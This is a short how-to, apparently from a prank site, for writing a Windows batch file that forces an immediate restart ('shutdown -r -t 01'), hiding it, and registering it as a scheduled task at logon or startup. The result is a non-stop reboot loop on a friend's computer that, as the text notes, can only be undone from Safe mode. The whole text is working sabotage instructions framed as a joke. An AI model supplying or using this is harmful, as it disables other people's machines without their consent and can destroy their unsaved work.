Start by opening Notepad. Write this inside and be sure to save it as .bat file (eg.: anyname.bat). Naturally, you need to select "File type" as "Any" when saving.
shutdown -r -t 01
Now to spice things a little bit, hide this script anyware on the computer. We will now make sure this script runs whenever Windows start - making it an interesting loop of senseless and non-stop restarting. Open up the scheduler, by going to Start -> Settings -> Scheduled Tasks.
Click on "Add Scheduled Task", click "Next" and then click on "Browse". Select your newly made script and click "Next".
After that, name your new very mean task and select when does it perform - When i log on / When my computer starts is very mean, as it will be fixable only by going to Safe mode. Click "Next" and input credentials if asked to and then click on "Finish". That's it, you are done!
Enjoy pranking your friends!